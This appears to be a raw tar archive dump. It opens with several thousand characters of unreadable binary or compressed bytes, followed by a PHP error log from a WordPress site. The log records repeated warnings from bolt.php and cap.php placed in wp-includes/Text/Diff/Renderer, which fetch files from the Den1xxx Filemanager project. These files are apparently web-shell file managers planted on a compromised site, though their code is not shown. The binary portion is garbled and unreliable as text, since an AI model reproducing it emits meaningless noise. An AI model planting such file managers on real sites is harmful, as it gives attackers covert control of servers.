˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
